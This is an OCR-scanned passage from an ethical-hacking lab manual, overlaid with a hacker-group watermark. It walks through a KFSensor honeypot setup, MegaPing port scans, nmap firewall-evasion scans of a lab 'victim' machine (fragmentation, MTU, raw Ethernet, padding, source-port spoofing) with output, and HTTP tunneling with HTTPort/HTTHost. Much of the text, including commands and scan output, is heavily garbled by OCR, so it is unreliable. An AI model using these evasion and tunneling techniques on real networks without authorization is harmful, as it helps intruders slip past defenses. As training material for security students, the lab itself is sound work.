Set Up Wizard - EMail Alerts E

Send 1o

Send from:

H o wiznk KFSeneor to send Sede by emal then 4l
mithe erall address detals

-,

A syphie rvece WA
szl bype

Soit Winderas
bchgrenml

mL

LRI

Witzand Haip

Eack Cancel

FIGIURE 1.8 KFSmusr ety Wisanl-rved alerti

13. Select options for Denial of Serviee, Port activity, Proxy Emulation, and
Metwerk Protessl Analyzer, and click Hext.

et Up Wizard - Options ﬂ

Dienisl Of Sersice Oplione
Cauliogz b
Cortrols how many events are reconded before the serverlocks up
Fed Activity
1 Hour Lo
How long & pert should indicat= actreity sfter aftar an event

L;'.I The: KPSt Server Posey Exmilor
weoines mlepsendent of i
Ao barner grabe and loop backs ¥
Cortmis £ HFSemaor s alowed to make Imesd extemal connections
Hetwazetc Protocal Anakezer
Enzbls packel dim il L
Dump files. are Lssful for detaied anshes but take up 2 bot of dek gpace

Wezard Help

FILILRE 3% KFfimson Windkss wath Sehop Wemnbopgyan
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14 Check Install as system serviee, and click Hext.

Set Up Wizard - Systems Service m

||7 Ingal == sysb=ms ser :El

Agyetams sarice e 3 spacisl ype of applcabon that Yindows unz in tha
background and i emilarin concept te a UNEK daemon.

Tha KFSanaar Servar bacomes ndspendent of tha logged en user. e you can
egaff and another persen can log on without Sffecting the server.

Tha KFSanear Senvar can be configurad to sad astomatizally whan the syetame
clarte, aven before you log or

You must be logged im a the Administator o neial a oysems ssrice.

whiis I

reewited o the server

Wizard Help

Nzt

FIGLERE 510 FFamor Sty Wieinl-natian soas

15. Chek Finish to comgplete the seimp,

Set Up Wizard - Fimish

The KFS=nzor 5= Lip Viizard has now got &l the
riormiation L nesds o conrigune your syslbem.

To read up an whers 10 go from hae cick tha bution below

Getting Staned

Nat= on the Evaiuaiion Versian

: ’ Wile heopa that wou findthe KRSeneor evaluation tal perod
the It mnd

- wriradlerar. Th sufficiert bo evaiuate KFSsnsar Fyou would ke to heve 2n

evtandead ial perad, o hawe gueshons ralsbed 1o the poduct
then get in touch with wse af Ritp: e keyfocos netoomtact
K FSixrase Sereer dnd
ety on which 85

< Back Firish

FICILTRE 3.1 1: KFSmwer Sramih abilaticn:

CEH Lab Mnus] Page | Eshical Hackdng aull(kluutrnn.r:unm s \.rvjl!.l: :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




HaCkRhInO-TeaM !

CEH Lab Munis] Page 1421

HaCkRhInO-TeaM !

YOuR SeCuiTy iS NOt En0OUgh
Module 18 - BikHirg 105, [k sl Y¥nd Honeypots HaCkRhInO-TeaM !

20. Leave the KF Senser ool monme

21, Follow the wizand dewan installation steps to mstall MegaPing an Windews
Server 2012 (Hest Machine ).

22 Click on MegaPing in the Start memm apps, and chick | Agree.

Apps
g e

& e
@ Comm
| [

FHALEE 314 Laumctag
23. The About MegaPing pop-up appears; click | Agree to continme.

About MegaPing

MEGAPING

t=gaFfing 4. grsin Solvs= 2014

FEFLRE 115 Abwas Mooy popug
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24. The main MegaPing window opens, as shown in seeenshot

Megateg [Unnegisterad]

G TEND S BT

DB Lid Hode

Lw

B L

DG L Hoats

FIGGURE & 16 MigpPirg sonin wizabiny

23. Select Port Seanner in the left pane.

26. Enter the IF address m the Destination Address List of the Windows 8.1 (in
thus lab, 10.0.0.4) machine on wiuch KFSensoris munme. and click Add.

KeeqaPing (Lreegestened) r=Tam=

G I IHVR/AD

w Toak Hep

FIGLRE 317: Asklivgr hewis o MnmiFegr
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27, Check the TP address, and dick on Start boton to sat Listenng to the
traffic on 10.0.0.4.

Mote: This IP address may vary in your bb eqvitonment.

Megafing (Urregestened)

I annfevey 8l

? Pk 5 carned

I:l:l Waahoe o olstrmed by
2 meverse TN lookusp o
g vesrtoe's [T achidneie An
wrm in bigrbayee! ndising;
e bysd tune the wisbor

remerted to the sover

FIGLIRE 317 Bggnseng the Sceen on 100104
28, The image below shows the ideatification of Telnet on port 23.
29. hlepaPing bepns to scan for open pors and displays a bst of pots.

3. You can obserre Telnet on port 23, which allows hackers to connect to
remote machine theongh Telnet

Mapafing Mireegestened) [=Te

7 T Vissdors: View w

2ot veirho wall Bk b
wi i Freita W

FIGLIRE 319 MigiFirgr T port sy
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31. The image bdow shows the identification of Secks on pert 1080, which
allowrs introders to conmect to the machme throngh firewall

Meafeg [nreglsterent [=T= e

 fTE¥SSED

2¢ Post Soave Sebngs

=F The swents are sceed
i it g e
descanuding chnmskoygieal
amder. Thia s coesrodle iy
opetitaes e the Vi Mg

FIGURE 330 Mgy Blickiack viciss
Mo, swrtch back to Windews 8.1 wmomal nachine. Observe that KFSensor
has detected that pert 23 is open on this machimne.
m 3. Sesmp this port open, you can ke proper secnaty measnres to dose the
T T, e thersby preventing mimders from connectng to this ooachine from
Analyze the Eolztﬂsj.de_ i
Result

EfSensar Frofessonal - Fealushon Tra

8 243 U

i “bsarwar - lncabont - M_ -

i 0 Cloned TED Por
B 7 Daabh, Toapn -
A 7 Echa - Bmcmt
A 9 Diecand - B
A 11 Duptime &
A 17 Dussiesf i
5 0 chergee B
M 21 FTP - Receni
A 22 558 - Roen
21 Taksat - Rac
£ SMITF - Rl
{42 W - Acue
RN
] & e
[T
| o ooes

FIGRTRE .21 Tekws i on KFSmae
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34. The image below displays the dam of 2 Death Trejan on pert 2. Seeng this
port open, 3 network adnumstrator can add a frewall mle to block pert 2,
thereby secnning the system from being affected by Death Trejan.

o KFSansar Frofecscnal - Evauation Teia

Fie ‘ewm S Syralines  SemingG

P T s R R R R R
Ielensoe - localbost - M.~ | op St Chgisian - P .
3 T
._E':.,--ni
B ¥ Danth, Trojun —
5 T Eche - Recent
Yy @ Discard - R
1 13 Daytime - R
0 17 Cuodn ol the
& 19 duegen - Be
& 1 FTP - Recant
G & 55H - Recen

1AM aeE TCP

'1_"_ ——— _',..,. e

WFSazsir Server
nitalled ai & wpsens
servace then it will ke adust 42 AN - Actre

dimen s wedl

(oL -)-&.iii.ﬁlaq‘._._. L=

Saro: Furming Wity § Feamt: 11152

FIGATRE 322 Dieth Tecgim dkasa on KFwmiace

i . .
| ah Arnahrcic
LAl Al Yoo

Arabyze and domment the results selated o this lab exercise. Prowide vomr opimion
of yonr tmrpet’s seenrity posmre and exposare.

O Yes

Platform Supported
& Classroom
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Lab

= s 1A | : i sl
_;th:bé,‘ﬂﬁj ".-1"'5-" OAW'S r"ﬁ.',--..'-. [

Evasion Techniques

DNt affers meany abtions for Frrewell evsion, abich we axplore m rhis lab
Lab Scenario

Firewalls and ID5s are ntended to avodd port scanming tools, such as MNmap,
from petting 3 precise measnre of sipmificant data of the frameworks winch
# Test your they're ensnrng. Indeed, we onght not be concerned abone thiz 1o a cetain

Enomisdge degree, on the promnds thar Monap has smmeroms feamees created especially 1o
bypass these protections. Ir has the ahdlity to issne you a mapping of a system
framevwmnds, by which yon can zee evarything from OS rendmons to open porrs.
L Wortockcemer | Fjpprnlls and infenmption wecopniton frameworks are made to keep Noap and

other applications from obtaining that data.

inframation

= Wb swarse

As 3 pepetration tester, you will come across systems behind firewalls thar
prevent you from getting the miormation you want. 5o, yon will need to know
how to awodd the firewall mies in place, and to plean information abane 2 host.
This step in 2 penetration test 15 called Firewall Evasion Bnles.

I ah 0} N

LaD Unj \f':' Vias

The objective of this lab is to help smdents leam how to bypass a frevall nsing
MNmap.

k

h E -~ !
LAan cmvironimeani

To complete this Lzb, vom will need:
® A compner munning Window Server 2012
*  Fal Linm= mnning in Virmal machine (Artacker machine)
®  Windows 8.1 maning i virmal machine (Victim machine)
A web browrses with Internet access

Admenistrative prraleges o mn tools
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i B T anesdh = o
Lab Duration

Time: 10 Mimtes

Mivrasvrncanr F 1 =i
uvenrview of Lab

Metoodk obstmetions sach as ficewalls can make mapping a netword: excesdingdy
difficnlt. To make thines more diffionlt, stifline casual seconnaissance is often a key
goal of implementing the devices.

Lab Tasks

LAl

Before mnning this lab, log into Windews 8.1 vimmal machine, and
open the Control Panel; m the All Control Panel Ttems window, click
Windews Firewall

. The Windews Firewall window appears; click Use recommended
settings to tm oo Firewall,

I.. st R o,

FIGITRE & f: Warndirars A1 Firwaall-Uke Risimesirded Settiregs
3. Ubserve that the Windows Firewall State is On.

F e

| X2
FICAURE &2 Windives A | Firewall Tismad O
- Swatch back to the Kah Linne machine, lanach a command terminal
window, mpe the following command nmap - =55 =T 5 <IP Address of
the Vietim Machine> and pzess Enter.
In this Iab, the vietim machine’s IP address is 10.0.0.5 (Windows 8.1),
which may vary in your lab enmironment.

The =v switch is nsed to increase the verbose level, the =55 switch 15 nsed
to perform TCP SYM scan, and the -T is nsed to sethnp a time template
to parform scan
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EH tasm 2

Perform
TCP 5YH Sean

i# lpman -y -a5 -T 5 10,8 ,8

Start ipg Mesp 6,46 | Bt%p://reap.erg ) et 2015-05-82 80:34 EOT
Initiating ARF Ping Scan at 00:34
Scapning 18.8.0.8 [L port]
Completed ARP Ping Scan at 08:34, 0.08s elaspsed |1 total hosts)
Initiating Parallel D85 resolution of 1 host. st (0:34
Complated Parallel BNS rescliution af 1 hest, &t 02:34, 8.045% slapsed
lnatiating YN 5
[ q 10, 8.8
covered open 8
liscoversd open i ]
Jiscovered open 8.8
Jizcoversd open port 49158/tcp on 10.8.0.0
Jiscoversd open pert 5357/t an 10.0,.0.B
Completed STH Stealth Scam at 00:34, 3 5Bs elapsed (1000 fotal porgs)
Ypap scam report far 10,888
dost 1s uwp (B.00069s latency).
Hot =Fown: 905 Filtered ports
AORT STATE SERVICE
opEn  marpc
apan  netbios-aan
open  microsoft-ds

opan  wadapl

LRE o ez e TETP 5YM

Trpe nmap =v =5 =f -T 5 <IP Address of the Vietim Machine> and

command, we are adding an additional
scan (incloding ) f

2 rmap

Starting Nesa 6.6 [ BLgp: /e 3 g A15-85-0F ag:35 EOT
Initiating RSP Ping
ng 18.8.0.8 |

Completed ARP Ping Scan at ©9:36, 0.9005 elapsed (1 total hosts)
Initiating Parallel DMS resalution of | host, at 00:36
Completed Farallel DNS resolution of 1 host. at 08136, 0.02s elapsed
Initimting SYN Steslth Scan at 00:36
Seanping 10.0.0.8 (100D parts ]
Jizcovered opsn port 138/tcp om 10.0.0.0
Discavarad saen poert L30/tcp on 10.0.0.8
Jiscovered open pert 445/tcp on 18.8.0.8
Jiscoyvered open port 5357 tep on 10.0.0.8
Jiscoverad open port 49155 tcp on 18.8.8.8
Completed 5¥M Ste=alth Scem &t 00:38, 2. 7is almpasd | 1000 total ports)
Yrap scan report for 10,8.8.8
et i= up (0000738 latencyl
Het shown: 995 Tiltersd ports

STATE SERVICE

GEpan A rEc

opEn  Nethlos S5

opeEn nicrosoft-ds

opEn  wedapl
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. Trpe nmap -v =55 -f =miu 32 -T 5 <IP Address of the Victim Machine>
znd press Enter.

. The —mim switch is P
to the packet, so it specifies min as 32 packets in thi
want set an MTU, it shonld be mulnple
In this command, dunng the scan, nmap will ereat
ed on 3 nser-provided smmber.
. In the sereenshot below, we provided a packet size of 32
will 32 ytes canzing confmzion for the fin

#|pmAp -v -85 -1 --mtu 33 -T 5 10,B,B.8

riing Masp &, 46 | hitg wap.oFg ) &% J015-285.0F7 4g:39 EOT
nitiating ARF Ping Scan at 98:39
canping 18.8.0.8 [1 port]
Completed ARP Pimg Scan at 06:39, D.8ds elapsed (1 total hosts)
nitzsting Parallel DNS resolution of § host. at 00;39

leted Parallel DRS resalutien af 1 heat, st 08:39, O 0ds elapssd

iating 5YR Stealth Scan at 00:39
eanning 10,.0,0,8 [1000 ports]
Discovered open port cp on 18.8.9.2
Discovered open port 445/tep on 10.0.0.8
iscowered open port ftep on 18.8.0.8
Uiscovered open port 49155/tcp on 19.0.0,

cowered cpen po p an 10,8,08.8
Coppleted SYN Stealth Scan at 00:3%9, 2.99s glapsed (1000 total ports)
aap scan report Tes 1B.0.8 8
Host 1s up [3.0018s latency).
flot shown: 995 filtered ports
PORT STATE SERVICE
135/ tcp opEn Asrpc
138 tep apan rethias-ssn

opEn  AlCro
apan  wsdapi

L}

FIGLRE 45: serog aze foc Mazeean T m Lian

T—pe nmap v 55 «f =mtu 32 -send-eth -T 5 <IPF Address of the
Vietim Machine> and pres: Enter
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=send-eth ensnges that mJJ.a.p acmally sends Ethernet level packets, and
d send raw Ethernet framnes with in the traffie.

s |

--# rmep -v -=5 -f --mtu 32 --meng-s=th -T 5 10.0.6.8

Starting Neas 6.46 { http://nmap.org | &t 2015.85.02 O1:87 EOT
Initiating ARP Ping Scan at 41:687
nning 18.0.8.8 |1 port]
Completed AR® Ping Scan st 01:07, 0,003 elppsed (1 total ho=ts)
Initiating Parallel 85 resolution of 1 hast, at B1:07
Conpleted Parallal OHS resclution of 1 host. &t GL:07, 0.052 elaspo=d
Imitimting SYN ih-.u'll h Scan at 81:07
Scanning 16.9.0.8 [1000 ports]
liscovered cpen pert 130/tcp on 16.8.4.8
Jiscovered open port 445/tcp on 10.9.0.8
limcoyered open port 135/tcp on 10.0.0.8
scovered open port 5357/1tcp on 10,0,8,B
scovered open port 4918%/tcp on 10.0.0.8
slated SYM Stealth Scan &t A1:07, 3 .30 slapssad | 1000 tetal parts)

Hrap scan report for 16,
Heat ie vp (0.0080578 latercy)
Hot shown: 935 filtered ports

STATE SERVICE

OpER  MSrpc

open  netbios-ssn

opan  microsnft-ds

wadani

T ecan

B wdie : lamnch Wieshark on r.hE Fak Linux machme to o

lannch
Launeh Wireshark
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18. The Wireshark main window appears; now, choose the Interface o
captuse the traffic, and click Start.

o W ebaite

go User's Guidu

b g Seeple Coptures
5 T S LI g Secwity

i Capturs Cptions

| Cagture Halp
Haw to Capturs

Hutwvark Mudia
P i,

LB SR L T

FIGURE 4.% Wireskork Searss capriurmy Trafhi

19. Mow, Witeshark will open in capmons mode, as shown in the

sereenshot, and etnon to the nmap comonand ternvinal window.
B e R (BT (L STt I ey

FIGLURE & 10 Winsdark Drableom]
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20. Trpe nmap v -5 -f -miu 32 -send-eth —data-length 500 -T 5 <IP
Address of the Vietim Machine> and press Enter

21. Nmap normally sends minimalist packets contaiming only 2 heades; here,
we are settng a data length wp to 500,

. The TCP switches are gener

t=¢ \nmap v 85 -f miu 37 send et data length 508 -T % 10.4.0.E

starting Weep 5,45 | http:/ nesp.org | st J013-05-02 01:16 EDT
Initiating RAF Pimg Scan at BL:Z1E

4 , 0,008 slapsed
[nitisting Parall=l DM5 resclwtion of 1 host.
'Ip'.cte:l Farallel DMS resclution of 1 host.
EYW Stealth Scam at AL:16
T ".I:IL ports]
pen port 139 @
Discovered open port 4.
Jiscovered ooen part 4 y ]
scovered open pert 4%155/tcp on 10
spen port 2BE89/tcp on 18.0. 8.8
Yiscoversd apen paft 5 g an 14 9.8
ompleted SYH alth Scen st O1:1%6, 7.00s =lap=ed {1000 total ports)
wmap scan report for 10.0.0.0
Host 15 up (0.0812s Latency).
waf whown: 9094 TiMtered parts
STATE SERYICE
OpEN  ESTpC

cpait  fetbhios-asm

L

Anen ®ar resnft -ca

mazimize the Wireshark min
op the maning captne
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. Watch the TGP SYMN packets trawerse through the attacker machine and
on to wictim machine. Ohserve the frame size and data bytes sent to the
victim machine.

Bkt [Aemark £ 52T (W0 B B1ATL e Brwmi- & 53]

FIGURE 413 Wiesha Capnaread Paeens
26. Coce you have observed the capmured traffic chronph Wareshark, po to
Caphture, and click Start from meon bar, so that Wieshack wall stare
capmang the traffic apain
e Ipu e LIA T _‘
[eee] "

w1 7. resames
U e

A P, w0 g mhod e e

s aXad (G wik] gl kel o e e

IGLUTRE 4.14: Wierahark Mead fo St Cguom
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. 'The prompt De you want the save the captured packets before
starting a new capiure? appe chick Continue without Saving to
start 2 new capimre.

Do Yo ant to save the cap tured packets before sta rting a new

I'ﬂr!fl.. ru"?'

T_v.'p! nmap ¥ *55 «f =miu 32 =send-eth =data-length 50 =source-port
99 -T 5 =IP Address of the Vietim Machine> and press Enter.

. =source-port is nsed to
prowi

FREN|
Larrgté 50 - -Sourcse-pard 98 -
map £.48 mttp: frmap. org 1t 313-02-03 ©1: XX BOT
SR Ping SCom 8T L-32
O.0.8.8 [1 port}
Firg Soen &t l:l:l
||I-I DAl resal

4.8 (1000 p:.-'ul
T 443, Tip o 5001
138Ecp om BO

8.5
:3 ] l:D -J\l JJ .08
Scam oat B 03, 3.0%w elapssd {1008 totml partm|

'\:I-'r-'!ln"f e
Eealag

e
G SO 00 2T 88 (Wcrosofth

teatl date Eles Pram fesribing
map cnve
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" 1 .
| s Analhveic
b b 'qﬁ ’:\-\:'f- b b

Anabyze and doenment the resnles melated to tus lab exesmise. Promide yonr oprmon
of yonr tarpet’s secnriry posmee and exposnre theomph poblic and fres infosmenon.

O Yes
Platform Supported

[ Classroom
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Lab

- gn
T T-111
(L= ::i'

e T
E¥lalal=1]
AV IBIAL—

HTTPort i a prograne from HI THost that oreaves @ frangbarent el throsgh a
fraey server or firenell

Lab Scenano

Attackers are always looking for nsers who can be eauly compromised, so thar
they can enter networks by IP spoofing to steal data. Hackers can per packers
throngh firewalls by spoofing TP addresses. If attackers are able to capmre
netorods traffie—az yon have leamed to do in the previonz lab—ther can
perform Tropan attacks, epstry atmacks, passoword hyjacking amracks, and =0 on,
which can prove disastrons for organizanons’ netwock. Attackers may nse a
B Wordbookemiew  netwods probe to capmze faw packet dam and then nze them to semneve packer
information snch a5 sonrce and destnation IP addresses, porrs, flaps, header
lengths, checksnms, time to live (TTL), and protoes] type.

Thns, as 2 nerwvode adoomistrator, you shonld be able to idennfy aracks by
extracting nformation from capmeed traffic snch a: sonrce and destinanon TP
addresses, protocol trpe, header lenoth somree and destination parts, 2nd so on
and compare these detads with modeled atrack stpmatares to determine if an
artack has oconrred. You can also check attack logs for hists of artacks, and wke
STASTE ACHONS.

Alzo, von shonld be familiae with HTTP moneling technigqne, by which yom can
sdentfy addinonal secnsity risks that may not be readily wsble by condncnng
sumgple netwrock and wlnerabdity scanning, and deternune the exvent to whach a
netwods I3 can sdennfy malicions tafhe i a comomnicanion channel In this

Iab, youo wall learn HT IP.rnnu{-]ir:.gns.uJ.g HITPor

= Wb ezercize

Lab Objectives

Thus lab walll show yon how netororks can be scanned, and how to nse HTTPom
and HTTHost to bypass firewall restrictions and access files
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Lab Environment
In thus lab, yom wall need the HITPart toal

® HITPos is located at DsiCEH-Tools'CEHVD Module 16 Evading 1DS,
Firewalls and Heneypets HTTP Tunneling Teols HTTPert
You can also download the latest version of HITPort from the link
1 A s o hitthos

If you decide to download the latest version, then sereenshots shown in
the lab nuight differ
Install HTTHost on Windows Server 2008 Virmal Machine
available in Install HTTPoct on Windows Server 2012 Host Lachine
D:CEH-
Toals\CEHVE
Module 16 Adounistrative privilepes is required to ma this toal

Evading IDS,
Firewgs il This lab might not work if remote server filters (blocks HTTP tuoneling

Heneypets paczets

Follow the wizard-doven installation steps and installit.

Lab Duration

Time: 20 Mimrtes

tmansparent maneling mansl theongh 3 proxy semcer or fuewall
z all sorts of Internet software from belind the promy. Ir

bypasses HTTP pve:ue; and HTTP, firewalls, and transparent acselerators.

Lab Ta

B vaai @ 1. Logmnto the Windeows Server 2008 vumal machine

Installing Wek
Server (II5) Rele

FICATRE. 5. 1: Wankoras: Server 2006 T
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2. ooto Start — Administrative Teels - Server Manager
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4. The Add Reles and Features Wizard appears; click Hext.

=1
FICH LTRE 5.4: Ackl Rokes 3 Fisstisoes Wi

5. Under Selest Server Reles, check Web Server (15}, and chick Next

o el —

all
ﬁ- Salit Server Rolas

e

| Mt e
e Sorvirs

Corfirraion

TR LELIRED

FICRTRE 5.5 Selact Serwer Rodes snchon
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MNote: If the Add Reles Wizard dislop box appears chick Add Regquired

Features.

6. The Intreduction to Web Server (II5) pane appears; click Next.

Introdectian B3 Wak Sareer (18]

s [ e ]

FIGLEE ff Tntnahation f Wi Seover (TI5 st

7. Under Role Sermces, check all the roles comesponding to Management
Tools, 15 & Management Compatibility, and FTP Publishing Service

Click Hext.
M=

(5 =
I P Sedecn Rode Services

Bartcen v Bl
Sy Bnles
‘Wb Doresr (12

Corirrason

Pelorm e role B REN

FIGURE 57 Comfigprny Role Servrs
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MNote: If the Add Reles Wizard dislop box appears chick Add Regquired
Featwres.

. In the Confirmation pane, click Install.

i W Centim lstallation Selections

Babwe Tou Bagn
ar e Pkt
Wity e (T

Fiode Lgran i prep & pes 1o b rag g 5P the e
| i
Tk Pt rere et w9 x .

Wik Scrver

FIGLRE SR Chrrherahion shsnon

9. War for the selected roles 1o be insmlled

= i
. " Inestallation Pragites

The Folr

Wi S (5]

Windews Pracess Achuabien Sarvdon

FIGLRE 5% Selacsed nxke ey, matidle
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10. On completion of installation, yoo will be mdiected to the Results pane
Click Glose

1

i
E - Instaliation Resslts

Trm TG TTL T EIEE, O SO ED ATE SRR Bt g
i eEgE bk
¥

. ek T neer (115 B nstsBabar sscweder

MebSarvar

Fiary prerse] Tanks

Pl 8 e, S e T SRRSO (RGO

FITRE 5.0 el svspbully cormplosnd

11. Glese the Server hanage wandow.

12 Mowr, you need o stop IS Admin Serviee and Werld Wide Web Publishing
Serviees.

= — 13. Chek Start, and navigate wo Administrative Privileges = Services.

Stop Werld Wide
Web Publishing
Service

FICATRE 511 Lansabsieg Servicr
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Skt W 1 b P b

| [T

s i T

Lﬁh ST ! LN ik 8 ) SCK e

FICTRE 512 Sropysiegy Wiek! Wieke el Piishuegy Serves:m Wnalimsn Senver 20R

15. In the same way, aght-chek 15 Admin Serviee, and dick Step

16. Open Mapped Network Diave “CEH-Teels™ and navigate to ZHCEHWE
Madule 16 Evading D5, Firewalls and HoneypetsHTTP Tunneling
Teals HTTHast.

17. Open the HTTHest folder, and donbleclick htthest.exe.

18. If the Open File - Security Waming pop-up appezrs, chek Fun

et S— ]

Tha puklishar could not ke verfied. A you surs you want to
run his soft were?

il Mama: ..,g Hetworks Turneling Toos'HTTHost hithoet exe
Fublisher Unbmown Publishes
Twp=: Applicalion
From': T:31CEHWS Madule 03 Scanning Mg torks TTurreling ...

|

| This fil= coes ret have = vaid dgia signeture that uerifies is
Q., publchar. You shoud anky run sofiwsne from publisham vou tus
- How can | decide what softwers 1o wn’

FRALRE 513 O Fle — Sty Wosnig pog-ug

19, A HTTHest wizard appears; chick eptions b

CEH Lab Manus] Page 1484 Ehical Hacking amd Countemseanses Gt © by E-Cemell
whis Reemvred Rorprms

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnOUgh HAZCRRATO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Madule 118 - BidHind 165, [FinbE] Ynd Honeypots HaCkRhInO-TeaM !

20. On the Options wmh, keep the defiml semings emcept for Persenal
Passwerd, winch shonld contain any other passwocd In ths lab, the
Personal Passoood is “magie.”

. Check Revalidate DH5S names and Log Connections, and chck Apply.

T C— ;1[4_3.1"

— NMabwork:

Bind listaning to: Eind awtarnal to:

mrrmms from: Sersonal pas=eord;

Allgr =
[0-0.0.0

[T Passthrough unrecogniz=d reguests to

Hast name or 1F Fart: Original [P hasder fald)

|.......... 31 Fe-Jriginal-1F

Max. lozel

[2=sk

FF Rsvslicsts DS nemss
| E:;::tl'::j dpplication log | 0 cticne | Sacurity | Sand = Gift
- T =" l__ J2anc s =)

FIGLRE 514 HTTHz Ot bl

22 Check to see f the last line & Listenes: listening at 0.0.0.0:80, wiich
ensnees that HT THost is munning propedy and has began to listen on port

M&IN; HTTHOST 1.8.5 PERSONAL GIFTWEARE DEMD :talhngﬂ
MATH: Project codaname: 99 red Salloons

MAINT Written by ttry Crvoinikoy

MAIH;: 1555-2 mitry Dwvioinibow

WATH;: &4 tot=l availz=ble connectionis

MATH: nebtwork starbad

MAINT REA keys inttializec

MAIH lcading v Filbarsa.

= HTTPost a5 MATH; loaded grant di’ t=llows = nnechiom wkthin
with the WATN: loaded filtsr "block dil” {denies Tectiona withic
Melr dona; total 2 filbar(s) loadad

Mme‘ MAIN: using ran=fer mnpgding: Pameboramblercd) SevanTe
hﬂpﬂhg I: i.ll-u conscticns

"Extemal HTTP
praxy” of local

pert

ER listening at 0.0.0.0150

| Statistics | application leg { Ophons= | Seounby | Send & Gt

FIGILTRE 515 HTTH:st Agplesbem kg wchin

CEH Lab Manus] Tage 1445 Ehical Hacking amd Countemseanses Gt © by E-Cemell
whis Reemvred Rorprms

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnOUgh HAZCRRATO-TeaM !
wE FrEE t0 FIY




HaCkRhInO-TeaM !

p. TASHK 4

Enable Firewall
and add an
esuthound rule
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23, Now, leave HTTHest miact, and don’t mm off Windews Server 2008
Vermal Machine

24 Mowr, swiech back to the host machioe (Windews Server 2012}, sight-chck
the Windows toon. and click Contrel Panel.

FICILIRE 5 16 Lawssncteng Ceontrd Paned

5. The Control Panel window appears with all control panel items displped
Select Windows Firewall.

Al Cevared Pl Menin

wal It

FICLRE 50T: Oipererag Windoso Fincocll
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£ Teools
demenstrated in
this lab are
availabkle in
D:WCEH-
Teals\CEHvE
Module 16
Evading DS,
Firewalls and
Haneypets
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26 The Windows Firewall control panel appears; click Turm Windews Firewall
eh or off Lok in the laft pane.

S |

Wridoas Frbwal

FICAURE 518 Configprring Wk Frewed]

27. The Custemize settings window appears.

28, Select Tumn on Windows Firewall (nnder Private netwerk settings and
Publie netwods settings).

29, Click 0.

- Cusomize Setiings

[=TE =

rewas] b Custornine Semings

¥ou can mizddy tha frewal st nge for sech bype of nebwork thet oo o,

¥ Tum on Windows Fromvad|
Black all Ivcaméng Connertions, ind oing those in e Tkt af

Jotity me when Wandows Fiiesal] biodhs § new &

N inzt recammanded

FIGUTRE 5.1% Configrong Wik Foeesdl

CEH Lab Munis] Page 1447

HaCkRhInO-TeaM !

Eshiral Hacldng amd Counsemsranses Copeggt O -l

YOUR SeCuiTy iS NOt EnJUGR ™ ""*"HaCRRATNO-TeaM !

wE FrEE t0 FIY

HaCkRhInO-TeaM !



HaCkRhInO-TeaM !

YOuR SeCuiTy iS NOt En0OUgh
Module 18 - BikHirg 105, [k sl Y¥nd Honeypots

30. Fiewall 15 successilly mmed cn MNow, click Advanced settings in the left
pane.

availakle in
ZMapped
Hetwerk Drive in
Virtual Machines

Windows Frevall

VMindewr Fiewal

prweank hacke o
ghithe lmfemetor o kvt

! &F Private networks

Meatinaths SLRDNE OF Wik @
Thes pieta ek

o ol e Bnd thast the peaple and desices on

Bock of connection: to apey thet s

nick ortha lnt of sllcwod app

FIGLIRE 5 20 Ciomfigring Achemend Wckeras, Femuad]
31. The Windows Firewall with Advanced Security window appears

32 Select Outhbound Rules in the left pane A kst of omthomnd miss &=
desplayed Chick New Rule... m the ripbt pane (moder Outhound Rules).

e Dol Fiomw e Wil HSRRE D S iy

EAEB SR G E SR E LRt EOE&E ;n:_:o-i:

CRTRE 5o21: Ackbngri v (nstlmporu] nale
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33. In the New Outhosumd Rule Wizard, select Port as the Rule Type, and chck
Hext.

"

=)
Ruls Type

Garkas Hhot e 1

e

FHALTRE 522 Wndkoras Farwal] Seirctgr s Rule Type

34 Select All remote ports, noder Protocel and Ports, and click Next.
"

hiew Dotmaoiond Fule 'wWissed

Protocl and Poris
iy T proanaols v pa o which e 0 my

REE

cpa ek b iy s ol e ks, gl ek cacab

= B e sl
T i bk TR

FIFLRE 525 Windiors Fiewall sy Proseorshs and Posh
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35. Under Aetien, Block the conneetion i3 selected by defanle. Click Mext.

R OLrbond e Wizand

filcrs e connecsion 1 i & seouw
Tas wchabas andy-or b i hitel i mhaatcmed

o - ity s

P Ths e
St if yona staried 5
wehierviz an the hians P

bizhae on hoee PCL

FIGLRE 524 Wk Farrwad] sesg e Achios

36 In the Profile section, ensnze that all the options (Demain, Private and
Public) are checked and click Hext.

Teew Ourboond Rule Wizard “

[ HATfirewall
issues: You need
ts enable an
incoming port. For
HT Thest it will
typically be
BO(http) er
443(hitps), but
any pert can be
used - IF the
HTTP proxy at
woark suppeosts it -
Seime proxys are
eanfigured te
allew enly B0 and
43,

FIGLRE 525 Wakkeas Foowall Predle mtizgn
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37. Under Hame, trpe Poit 21 Blocked in the Hame field, and chick Finish.

Feeww Dbound Fke Wizard R

19 e = I
e arul
it Serncr Privler
Bk g prort arid e
i FTP

cemmtion il

FIGLRE 53¢ Windiors Foroull segrarg o e s Ped
38. The new mis Pert 21 Blacked is created, as showen i the screenshot

Windois Fleasl with Asvenced Ssoanty

| -
LT LT Cutbscaund Ruses J

B M

T Ik

- B

H Hw
Fort 29 Biackad J

# DissbleRie

acagddcoeaococa

Com Btworking

E

E 51T Windown Firrasdl Mew nile
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39. Right-click the newly created mile (Pert 21 Blocked), and click Properties.

Nl e Pl | il Akl Fi e Souting

T

= I

BHTTPe then intrrrpss

Smab Cirisct il i o

YT TTY [oF

Duthigd Rales

FIGLIRE 5.2 Wancksors Paowall now siske proypsertios

40. The Preperties window for Port 21 Blecked mile appears.

41. Select the Protocols and Ports tab. In the Remete Port: field select

Speeifie Perts opuon from the deop-down list, and entes
as 2l

the Port ammber

42 Leave the other defanlt sethings, click Apply, and then chck OK.

Port 21 Blocked Properties

Progrars =nd Services R=moie Compuies
Protoeod and Foga Krennmd

Protocols and posts

W Drotocal hpe

Protzool nymber:

A Perz

Exmrrpls: 8. 443 50005010

I Speciic Pots

Exargiia: E0, 443, B00A.5010

et Dol Mesrage Proinen
(CMP) eettings

QK Canonl

Locs Prorals

FEGLRE 52% Firewall Pont 21 Bk Properhes
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47, Mow, emable the mle, and check to see whether yoo can esmhblish a

connechon
8. Ripht-click the newly added oile, and click Enable Rule.

Wi o e B wcthy Arhis et Serunty

L]

eoeEoe

FIGLRE 5.3 Brsdbbrag the cosicasal née
49. Lannch the Command Prompt and check whether vom ace able to connect
1o the fip site by g the command fip 10.0.0.10.
